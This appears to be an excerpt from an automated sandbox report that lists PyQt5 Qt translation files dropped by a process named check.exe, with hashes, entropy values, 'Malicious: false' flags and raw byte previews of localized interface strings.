File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6070658648473097
Encrypted:	false
SSDEEP:	3:j2wZC4C/7lJFlAlHekSMthULlI+rwtbWlMvEJY1MUaEf8IPldkOzvt:CwElJ4+7MrURIRt6cujUaE8oi0F
MD5:	EE47DFADBA4414FDC051C5CFBE71DDC1
SHA1:	DE650E96A9C130D35F8A498202773EF7FC875D27
SHA-256:	E25E43F046F61022FFE871A2F73C6A12EDFC5C3EFD958C0E019A721860A053B0
SHA-512:	8C1D8901D2F66CCBF947B831858E08B703517470B2B813B241E00162A275AC9103FF5B9251AD39BD53551E0A4FB45EE74187B218A1EF7C6CF6C5FA9F9219AE04
Malicious:	false
Preview:	<.d....!..`.......es....v.....q.t.b.a.s.e._.e.s.....q.t.m.u.l.t.i.m.e.d.i.a._.e.s.....q.t.s.c.r.i.p.t._.e.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.e.s.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_fa.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	293121
Entropy (8bit):	5.272179385890926
Encrypted:	false
SSDEEP:	3072:gEo2cQbzaVmvGQYkHkMRKkNeGr+0BhaRsLAChY21rpnLqL9ytnvC58gypn4l4qF:gEZbza0HjeGrxBhaCLFC
MD5:	F9C3624197ACB30A9E6CC799BB65BED6
SHA1:	D715EAE24387DE15588F68C92991A93FAFB5EEAB
SHA-256:	B292AFB0763B8C7C30A5AF7372BFC12D8A0D00BF3DD4A000715D9F576D9C1A39
SHA-512:	199C107AE7EAFCF2A5EEC149CAFEE7ED09B938E204B56AD3AAC9568D27166F61EC8E2225A11AF26F7E1F035FB5CAD98621A01E8A9942D18C273F43B90201162A
Malicious:	false
Preview:	<.d....!..`.......faB..I....*...u...+...............@.......A...J...B.......C...X...D.......E.......F...%...G.......H...0...I.......P...v...Q.......R.......S.......T..."...U.......V...h...W.......X...s...Y.......]..e....t...................-.......W.......\|.......i...;..Eu...;..Z....;...]...;..c....;.......;..0]...M..f....O.......O..2.......#....}..f=...m..fg.........(5......+;..1a..+;...V..+;...!..+O..17..+O...(..1.......E@......F....u..H4......HY...Y..H....S..I....5..I@.....IA......IC......J...1...J.......J.......J...\|...K...6...LD......L.......PS......R....Z..T.......Zr.. ...[`...O..[`......\...%@..\...2..._...&l.._...38..1........E..........2u..........1.......1...........@......4G...........................$...L...$..xY...[.......,...u...y...y...y..z.......F.......<.......g.......5W...........9...........f...E...U...E../....E..................0-...%..6....%.........................3......f..........5...?...0..EK...0......0..L ...0..c....0.......0...Z...5...........Y.. D

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117
Entropy (8bit):	3.739162292019161
Encrypted:	false
SSDEEP:	3:j2wZC4C/4HlAlHekRgOp1MUZWJKlI+rwtbWlMsIkk:Cwxe++IUocIRt6Qkk
MD5:	72882942B07B8AAC98034016E752B1A0
SHA1:	BF23B4C136B863B10E770019A2DF62FC988859DF
SHA-256:	048CA42DCE4FAF5FC21D843576E3C6FD963146ECC78554E7E5F34D07F64FB213
SHA-512:	403E7F4E9A0E44F2118804F0781A18EB1852797825498751E3AFA02D9558D90293ABDB570786CED80F7EFF800BEF6D9444A72E6A640D331DA46B2A0EA43C8E96
Malicious:	false
Preview:	<.d....!..`.......fi....R.....q.t.b.a.s.e._.f.i.....q.t.s.c.r.i.p.t._.f.i.....q.t.m.u.l.t.i.m.e.d.i.a._.f.i.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.680458675741643
Encrypted:	false
SSDEEP:	3:j2wZC4C/FjlAlHekRL21MUZNJOLlI+rwtbWlMs9KIPldkORT:Cw3+SU0RIRt6koio
MD5:	3C45C665CFE036A7474CB4DCBB13CF40
SHA1:	62312DFF3C4CD38BAE8456C981601D0D89600F63
SHA-256:	8624033D849E670B12C9532337FCBF260F20848E044FEE7787CFE2AC92BE28DB
SHA-512:	21659AA452BC2493D915F0BE94F90CDD57759B1F1306AAA2836058D41E80DED24742EBD74E19420021514A6AB4150CA0B447574E96B9D3BF0BC5A8C78DAAF7AC
Malicious:	false
Preview:	<.d....!..`.......fr....v.....q.t.b.a.s.e._.f.r.....q.t.s.c.r.i.p.t._.f.r.....q.t.m.u.l.t.i.m.e.d.i.a._.f.r... .q.t.x.m.l.p.a.t.t.e.r.n.s._.f.r.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.463523104731333
Encrypted:	false
SSDEEP:	3:j2wZC4C/EXlAlHekQrEuknbJB:CwjO+5JY
MD5:	A8D55457C0413893F746D40B637F9C93
SHA1:	25123615482947772176E055E4A74043B2FBCAA0
SHA-256:	49DF855A004A17950338AF3146466F6DF4D5852410BD0B58EA80E0D0203A9D24
SHA-512:	99718B948D94B292BDEDF6B247A5856BC7AC78408FCC41C980F264C2C8565125786F0289F5F993DCF11B8CDA3AFB2A1D8634B1D0BC9B34992F538F8E4086EC00
Malicious:	false
Preview:	<.d....!..`.......gd..........q.t.b.a.s.e._.g.d....................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	323590
Entropy (8bit):	4.568068046062524
Encrypted:	false
SSDEEP:	3072:OYSG8zxWSDjq73Pf6FT1f4uh50QGrRfFD54YyUY0Ou4/tnra3Z0uYhB5YHfHRRn2:O39WSD3TMQGrxFD5EUVQ
MD5:	0661FFABFBC50187F3BA38876B721946
SHA1:	EB5E7205355CFC6BCB4DF27E224079842C97B296
SHA-256:	204A01AC7DEB6B5BAE193AFECBD1E50D18C73BF7D94BADEB2BBFDF6123C4ED93
SHA-512:	65AB66CC54D65E7678FA731A5C5F2CC9D6FC217B91AD47D538440811E09A23E49CD95CE62A79E3E8C275E250AC1A0B54BD289F6DD067573876DA7AFF54381D02
Malicious:	false
Preview:	<.d....!..`.......gl_ESB..I...........+..&............@.......A...z...B.......C...p...D.......E......F...!...G......H.......I......P...@...Q.......R......S...5...T......U...+...V.......W...a...X.......Y...N...]..o....t..,................F.......p..............4....;..LI...;..bD...;.......;.......;.......;..cJ...M..o1...O..G....O..e.......U....}..oY...m..o........D..(5...X..+;..6/..+;...~..+;......+O..6...+O...N..1......E@...?..F.......H4..'...HY......H...3`..I......I@......IA......IC..0...J...P...J...1...J...0...J.......K...:...LD..2...L...3...PS..:A..R... d..T.......Zr..Rd..[`......[`.....\...WK..\...RR.._...X..._...f...1........E...{......7M..........1.......1....q......O.......9......................)....$... ...$.......[..,=...,..-....y..0X...y...~......Mx......]0.......H......:A......0....9...............E...o...E..b....E.........1.......c....%..;....%...;......3.......^......S................5..4Z...0..L....0.......0..n....0.......0..7....0.......5..9D......!g.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	83
Entropy (8bit):	3.880645689209568
Encrypted:	false
SSDEEP:	3:j2wZC4C/YJ/dQlHekfaB21MUXmlvt:CwT0+D/UUt
MD5:	DD5C2C6B148F2DB3E666B859776AE129
SHA1:	8368F32039CC0776A1B95C9DED5FE6C9EA0D93FD
SHA-256:	C113D14E218D5402B616DABEA27969C6F83852676468C5EF051DDDEFB3EE0235
SHA-512:	2EAE33C8707407E083F6B8B05EA2C5B987646DF1553888C16D6508C5A33B2F758DDED73323622CD50324C96F51D61B7CE822F393551A30B211ABD3CC1367249F
Malicious:	false
Preview:	<.d....!..`.......he....0.....q.t.b.a.s.e._.h.e.....q.t.s.c.r.i.p.t._.h.e.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	8743
Entropy (8bit):	5.189558605179696
Encrypted:	false
SSDEEP:	192:YUM7gBwnG4Vxj4nyn9aAMOJckrL6esm/0sQ5HeK1nvEB:YBkKnZxkyn9aAMWPsm/0sQsGvEB
MD5:	CCD39A7C8139AD041E31B3E5D40968B4
SHA1:	5751BE96817BB6AE7C9DA9F1FBA7F42F31CFCC5D
SHA-256:	222088C9752D1CC3BAB985EF2DC77E5AE78578DCE18A61EC15B39F02E588163D
SHA-512:	9844C0EC65EE1C76DBA021EAC6D476A85E6C8F5BBAF4150C1EA80C0A95BEDE67B5E8F981360EF8599FCECDFCBCB83BC0B8AC44DDEFDCD85F914318030E346967
Malicious:	false
Preview:	<.d....!..`.......arB.....(.....d.0T.....5w......Uj....!.`.....M.a[............n..t..............39....&................B<s...V..M^...e......4.O5^...r..)^......o>...........?...t.....D ......k.N.....k.N...C...n...T...I...R..........2>.................\|..G.......w....T.......l..........,................^............$a......6.>...........x..K......W.b....._Xn......GN...m..~......!.....J.K.H.............pN.............P.~.....o.....W..(.......~......s.>......%c.....o.....R.z.q..........................n.h................e.....i..........:.J.1. .E.3.E.Q.I..........Untitled.....QHelp.....8..9.0.Q.1. .F.3... .E.D.A.Q. .'.D..Q.,.E.J.9.).:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler........9.0.Q.1. .%.F.4.'.!. .'.D./.Q.D.J.D.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....>..9.0.Q.1. .%.F.4.'.!. .,./.'.H.D. .A.J. .'.D.E.D.A.Q. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....L..9.0.Q.1. .*.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10599
Entropy (8bit):	5.192287379770591
Encrypted:	false
SSDEEP:	192:jhYkcd7CYBdmfIOeX3byuJRoZXlBYnEpUYR+BJqO5X9pA2NNrxC0zwRK2nMY762A:a71DQIrLuVCnEtR+DquhN5xC0zwKPYHA
MD5:	5538049DA3A1D1D724AB6E11D2E2EDBE
SHA1:	7256BE390B88A053C0252488C443BE42F6F2D92A
SHA-256:	CBCDD1E0BBAE332D80DDB0A286056F17C824FA28D353D7FDF12FC97D9F6FE054
SHA-512:	DD98CAF3A016968EEDC9106C1839DDECC2D109E9E354708BD74B35E766C6A098C1680C0B867EAD9FCE2E2A6D683BE673B8E5DF1A1B2F1AAFDB31910FF833370F
Malicious:	false
Preview:	<.d....!..`.......bgB...(.(.......0T......5w... S.Uj......`.......a[....(..........t..............39..........&..........B<s...4..M^..........q...J..%..O5^...O..)^...I..o>...I...J..%.......#....t...A.8dz..$..D ....Z.k.N...<.k.N.......n.......I..............2>...p................G..."...w....................7..,................^............$a....<.6.>..........#...K...........$1.W.b....._Xn......GN...*..~....-..TH.."..!.....5.K.H..#R.........pN..."......&..P.~...@.o.....v..(.........."8..~......s.>.....o.... ..z.q..........................O.h....!t..........e....mi..'.....\|.(...@.8.G.8.=.0.B.0. .<.>.6.5. .4.0. .5.,. .G.5. .4.>.:.C.<.5.=.B.0.F.8.O.B.0. .2.A.5. .>.I.5. .A.5. .8.=.4.5.:.A.8.@.0...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........0.1.5.;.5.6.:.0.:..........Note:.....QCLuceneResultWidget.....,. .5.7.C.;.B.0.B.8. .>.B. .B.J.@.A.5.=.5.B.>..........Search Results.....QCLuceneResultWidget....... .

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7444
Entropy (8bit):	4.580794980254807
Encrypted:	false
SSDEEP:	192:G8oS34B7n303D37Bn3Jso37cfp3Mg3H373R58noct36R9RFu:GQU7ETrxZvqTXLSoct36Pzu
MD5:	66722ED97BCBFD3DAE3C8264413859AB
SHA1:	400A93B213FCF9BBC9785881EA82ADB9F444CD6C
SHA-256:	ECD4283A660F2CF72849B323810D7EADD063120B6F561E05AA1243A5B280946A
SHA-512:	B898BAC9652D7532384ED5CC53FA62DB55D516421D13F815A3E6D5E80AD4C69555F1A7E6C51F8B0A234614824EEE01D6731458F90D40A585990F84A58B9ABE44
Malicious:	false
Preview:	<.d....!..`.......caB............%.......0T......K:^.....Uj......`.....P..YJ...V.E.4...*...........>...7........B<s.....B\>...6........+.s.....zq.......9.......vR......@.......@.......:....;.8Z....!.g.N......F................t.....D ....z.k.N.......I......^......`#.......2.......G........N...7......N......{..................K...............GN......NO...5.........K.H...@.........pN......V............q..................>...N.........~.....5..%c...:.z.q....i...4....".A.f.e.g.e.i.x. .u.n. .f.i.l.t.r.e..........Add Filter.....FilterNameDialogClass.......N.o.m. .d.e.l. .f.i.l.t.r.e.:..........Filter Name:.....FilterNameDialogClass.......S.e.n.s.e. .t...t.o.l..........Untitled.....QHelp.....`.N.o. .s.'.h.a. .p.o.g.u.t. .c.o.p.i.a.r. .e.l. .f.i.t.x.e.r. .d.e. .c.o.l...l.e.c.c.i...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....H.N.o. .s.'.h.a. .p.o.g.u.t. .c.r.e.a.r. .e.l. .d.i.r.e.c.t.o.r.i.:. .%.1..........Cannot create directory: %1.....QHelpCollect

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	15297
Entropy (8bit):	4.708378368926237
Encrypted:	false
SSDEEP:	384:hmv1gdEYEiNrVhTBvAn1ca1f5lwHoJr0vwuxqsP/5jxA:o1gdEvgbloCof9ixqspW
MD5:	ED228F0F60AE9AEC28AB9171D5AE9590
SHA1:	7F061CF0C699D125A5531E3480C21964452F45EA
SHA-256:	4AC56FC63E400943BAB13F1D4C418502138908E1D488C24AEE6131D3D17552AA
SHA-512:	794CC671C08BFC50980820A6389B9D0D3514619AD0A8F18EFD5554CBBF2482192DF00B9D3B05FEE45F42276E63E2375FB28E193930D426245035B4B0E3E14ED8
Malicious:	false
Preview:	<.d....!..`.......cs_CZB...H.(.......(.......0T......0T......5w...0..Uj......`.......a[......a[....$.......p..........t.......t...........!..1"....T.39....T.39.......s...0......(......7/.................B<s...L..MQ......M^../q..........J..6@.0....B.O5Q..'..O5^..(A..)Q...X..)^......o>..........+....J..6.......4....t.....8dz..5..D ....R.D ......k.A.....k.A.....k.N.....k.N.......n.."....I..........................2...21......2>..........d.............T..G...4...w...!N......&O......&....!..".......#E..,...,.......)....Q..$/...^..$................$a......6.>.. t......5...K.......K....)......5E.W.b..-.._Xa..%a._Xn..%...GA......GN...?......,9..~.......TH..3..!......K.H..4h.........pA...J..pN..........7..P.~.. ..o.....0..(....*..(..........3V..~....T.s.1.....s.>..._.o....0..o....1p.z.q..........'9.....#........^.........h....2................Z..e... .i..8J......(.D.o.v.o.d.e.m. .p.r.o. .t.o. .b.y. .m.o.h.l.o. .b...t.,. .~.e. .d.o.k.u.m.e.n.t.a.c.e. .j.e. .s.t...l.e. .j.e.a.t...

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4795
Entropy (8bit):	4.530246422531362
Encrypted:	false
SSDEEP:	96:X82wNlnKfN1LMFy7LsF3ZqBFZjWo0koBLqBXXjGL0qU7UqB7zoElmP5MUu4DZIHU:XM01f7eOnoB8X2s7Vfg5Mi4beXiOUu
MD5:	1D09BEE1FB55A173F7EB39B9A662A170
SHA1:	C77F0A148262A91679F19689E4790B754D45D5D5
SHA-256:	6BB092552A398687119F6D52145F04BF8373977446D8F00C0DCBD56B96829F0F
SHA-512:	BE5A31A6135E8DB024A8B0EB20C4D8EECBF76861F83FF83B4CA97327DB74AD94BB5D77B4E0A59A33B697C32A4EACD61B8C878951F2C545385C74D99FCE56FEE1
Malicious:	false
Preview:	<.d....!..`.......daB.....%.....m.0T......Uj....V.`....................k.B<s.....B\>..........6.+.s...............t.....D ....\|.k.N...9...I...O..2.......G....B...N...O..............!..K...._..........GN...........@.K.H.............pN..............>.....~.....m..%c.....z.q....i..........U.n.a.v.n.g.i.v.e.t..........Untitled.....QHelp.....D.K.a.n. .i.k.k.e. .k.o.p.i.e.r.e. .s.a.m.l.i.n.g.s.f.i.l.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....6.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .m.a.p.p.e.n.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....V.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .i.n.d.e.k.s.t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1...........&Cannot create index tables in file %1......QHelpCollectionHandler.....J.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....P.K.a.n. .i.k.k.e. .i.n.d.l...s.e. .s.q.l.i.t.e.-.d.a.t.a.b.a.s.e.-.d.r

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7570
Entropy (8bit):	4.550982634910665
Encrypted:	false
SSDEEP:	96:8y/gPmmhL/7LlSivP6kBL7jb0RNUzzpld4UGG3Ik18fLP0L7fGc0OeVP8a8hiAwj:1OD7hx/Bv3oNuFX4iqgv34fZsu
MD5:	3B070D169E3381E2FB081172934AAD00
SHA1:	70886EB7EF566B296D0814BD4C2440AC176699D6
SHA-256:	9962523FBAE9F1E4C3B5C3C16860D059291CB30DC5EBE5A5EDA4C836A03FED1E
SHA-512:	271B730B5A7358E923BBBC6FA074A72DA52FA47E3B7726779EF7034200EDA09BF0E1AE4E7B11B59F76805F48DC285F6EFC245EB9C7F4A748BE82B25CEE1DDCAE
Malicious:	false
Preview:	<.d....!..`.......deB..........B.%.....5.0T......K:^.....Uj....?.`.....f..YJ...V.E.4...............>............B<s...z.B\>...\........+.s...Q.zq....C..9....4..vR...B..@.......@.......:......8Z......g.N......F....>...........t.....D ......k.N.......I......^....\|.`#....I..2....<..G....^...N.........................;..........K....y..........GN......NO...........,.K.H.............pN......V...................."..........>.............~........%c.....z.q....i........".F.i.l.t.e.r. .h.i.n.z.u.f...g.e.n..........Add Filter.....FilterNameDialogClass.....".N.a.m.e. .d.e.s. .F.i.l.t.e.r.s.:..........Filter Name:.....FilterNameDialogClass.......O.h.n.e. .T.i.t.e.l..........Untitled.....QHelp.....\.D.i.e. .K.a.t.a.l.o.g.d.a.t.e.i. .k.a.n.n. .n.i.c.h.t. .k.o.p.i.e.r.t. .w.e.r.d.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....\.D.a.s. .V.e.r.z.e.i.c.h.n.i.s. .k.a.n.n. .n.i.c.h.t. .a.n.g.e.l.e.g.t. .w.e.r.d.e.n.:. .%.1..........Cannot create directory: %

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10704
Entropy (8bit):	4.481291573289571
Encrypted:	false
SSDEEP:	192:q9J9j7e4BQhD0h61nnKz+DJF/45ojDU9V1Wa/rmtIBMH:Wp64ShDnnKz+FhjQpWa/ytoMH
MD5:	9EDF433AB9EE5FC7CF7782370150B26A
SHA1:	A918AE15A0DF187C7789BE8599A80E279F039964
SHA-256:	FD16B279F8CF69077F75E94D90C9C07A2AFFF3948A579E3789F5FFB5E5F4202D
SHA-512:	88245F6FBAAF603A03D7EA2341411AE040791D47C9FF110C6D6CDD8165F0A8BA7A4A0DA5CD543BBE95A4E93FE3A81E95B3664E00C11791FBCB4923E3A80ABC60
Malicious:	false
Preview:	<.d....!..`.......es_ESB...(.(.....7.0T..../.5w... C.Uj......`.......a[....0..........t..............39..........&e.........B<s...D..M^..............J..%p.O5^...I..)^...1..o>.......J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>....................G...#...w............!.......%..,................^............$a......6.>..........#...K...........$C.W.b....._Xn......GN...\|..~.......TH.."..!.....5.K.H..#f.........pN...j......'..P.~... .o........(....>....."<..~....c.s.>.....o.... ..z.q..........................u.h....!p.......*..e....Qi..'}......(.L.a. .r.a.z...n. .d.e. .e.s.t.o. .p.u.e.d.e. .s.e.r. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n. .e.s.t... .s.i.e.n.d.o. .i.n.d.e.x.a.d.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....2.R.e.s.u.l.t.a.d.o.s. .d.e. .l.a. .B...s.q.u.e.d.a..........Search Results.....QCLu

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10922
Entropy (8bit):	4.459946393010639
Encrypted:	false
SSDEEP:	192:w4BIn67/WsmoB3r6M/eYlSbyE7DnvE7pcn9nPJZe7nOFovzcNn7Uhmio+2/p53I/:w4N19fq3n2c9Bucuhmi52/X3Qpam
MD5:	D520C7F85CC06C66715A2B6622BF0687
SHA1:	47292D068172FBC9DC0D9BE2F479E890A37CE138
SHA-256:	687E351C062F688AAFF6CF05218D6017B80B1A1B4238D1D30250A55EE41C5FED
SHA-512:	736B50BB64751B127300BCAFE88888A9D9A2081CBF934EDCFFEF6CEF0575505AFDF714273A97671ABB598AE3D23C8E55F7DCD632FB0AA219ED5F763768576E04
Malicious:	false
Preview:	<.d....!..`.......fr_FRB...(.(.....y.0T....K.5w...!1.Uj....*.`.......a[............5..t..............39....m.....'W.......S.B<s...d..M^.. ...........J..&`.O5^...+..)^......o>.......J..&.......$....t.....8dz..%..D ......k.N.....k.N...D...n.......I...........c..2>..........M.........G...$...w....K..................,................^............$a......6.>...c......$...K....'......%M.W.b....._Xn...j..GN......~.......TH..#..!.......K.H..$Z......,..pN..........'..P.~.....o........(....h.....#4..~......s.>...M.o....!..z.q...........p......L.........h...."^.......b..e.....i..(W......(.I.l. .e.s.t. .p.o.s.s.i.b.l.e. .q.u.e. .c.e.l.a. .s.o.i.t. .d... .a.u. .f.a.i.t. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.t.i.o.n. .e.s.t. .e.n. .c.o.u.r.s. .d.'.i.n.d.e.x.a.t.i.o.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.e. .:..........Note:.....QCLuceneResultWidget.....2.R...s.u.l.t.a.t.s. .d.e. .l.a. .r.e.c.h.e.r.c.h.e.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10891
Entropy (8bit):	4.5087667371046205
Encrypted:	false
SSDEEP:	192:Im7gBZHx4hCTNarW6EJDvoIR765f40wqNcMi/8F/Ihon:v0fHccarW6Eh61wqNcMi/Q/won
MD5:	B62C74793741FC386332A59113E8D412
SHA1:	589CE099F2C1D92581B5CF0E17BE49A2BF0014D4
SHA-256:	7399A248609974773F60866C87B78EA7DFBC4F750313D692F7886CD763883C9F
SHA-512:	D8E1A3B3732662BA572A1387651F2625742710834BEDB41809DA47B5D23020AA1B558B64A00C10C605D1844F0544483163F4A6227CAFFA5ECDABF3BBF4E12D9B
Malicious:	false
Preview:	<.d....!..`.......gl_ESB...8.(.......0T......Uj......`.....`.a[....F..........t..............1"... S.39.......s...!.............'F.........B<s...8..MQ.. ...........J..&S.0.....x.O5Q......)Q...O..o>...{.......#...J..&.......$....t.....8dz..%..D ......k.A.....k.A.......n.......I.................."...21....................G...#...w............[...!...?...........Q...?........$a....v.6.>..........$...K...........%0._Xa......GA...n..........~.......TH..#..K.H..$M.........pA...Z......'..P.~...B.o........(..........#+..~......s.1.....o....!..z.q...e.............................. ..e....wi..((......(.A. .r.a.z...n. .d.i.s.t.o. .p.o.d.e. .s.e.r. .q.u.e. .a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n.d.a. .e.s.t.e.a. .a. .i.n.d.e.x.a.r.s.e...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....*.R.e.s.u.l.t.a.d.o.s. .d.a. .p.r.o.c.u.r.a..........Search Results.....QCLucene

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10284
Entropy (8bit):	4.674501432335502
Encrypted:	false
SSDEEP:	192:RNY+rCG3e7LBqYqYseBb/FEWBgSn62TdJgDO9esYGY3DtgGh621XlZ/8kWvIMK:4+rheHYYZdBb/pgSn62T/FeVD3DGGh62
MD5:	5A56E9E2ED6ECE3F249D1C2A7EB3B172
SHA1:	D6F079F40FBB813B0293C1D2210BAE7084092FEC
SHA-256:	70F33B569C2942F41C6D634EA6A61CB8D80EB2C7011BAD48EF6DBAE9677960D5
SHA-512:	28947128FC51791CFDBFD3958FAF9B33979DB52C90AE0159EDB01FE6032284EB37BC05187162983A0435560BCEA864B008F499CDB4CE662792599FE20A37972A
Malicious:	false
Preview:	<.d....!..`.......hu_HUB...(.(.......0T......5w......Uj......`.....4.a[....N..........t....".........39..........%..........B<s...8..M^...8..........J..$..O5^......)^...]..o>.......J..$......."N...t.....8dz..#g.D ......k.N...>.k.N.......n.......I..............2>..........a.........G...!...w.......................,................^............$a......6.>.........."...K....m......"..W.b...l._Xn...~..GN......~.......TH..!F.!.......K.H..!..........pN..........%..P.~...<.o........(.......... ...~......s.>...{.o.....c.z.q...K.......v......l.........h.... ........t..e....mi..%.....~.(.E.z. .a.m.i.a.t.t. .l.e.h.e.t.,. .h.o.g.y. .a. .d.o.k.u.m.e.n.t...c.i... .m...g. .i.n.d.e.x.e.l...s. .a.l.a.t.t. .v.a.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......M.e.g.j.e.g.y.z...s.:..........Note:.....QCLuceneResultWidget.....&.K.e.r.e.s...s.i. .e.r.e.d.m...n.y.e.k..........Search Results.....QCLuceneResultWidget.......A

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10612
Entropy (8bit):	4.458970627057882
Encrypted:	false
SSDEEP:	192:nRxcfy71b+myBN16cbc+w45rtlTnzo7uHp3JQJ9cVu4BJ1G82g33vOVrNL/7nEF1:RR4R/fJn9JizTgnqrNL/b0hH2K
MD5:	3639B57B463987F6DB07629253ACD8BF
SHA1:	65935A67C73F19FCF6023FB95030A5ACAF9DA21C
SHA-256:	316FE8D0815E2B4B396895BEB38EF1A40431915B5E054DF80F4C0CD556F26E4B
SHA-512:	AD7CA93D93A69F273CE80BE7F2F477543B9C5F9C7E4D7448223BFF084EA956B626D6837F22D83C5E282688B938F58C29073C4B5C6F26A797F716C14FABF9FFEE
Malicious:	false
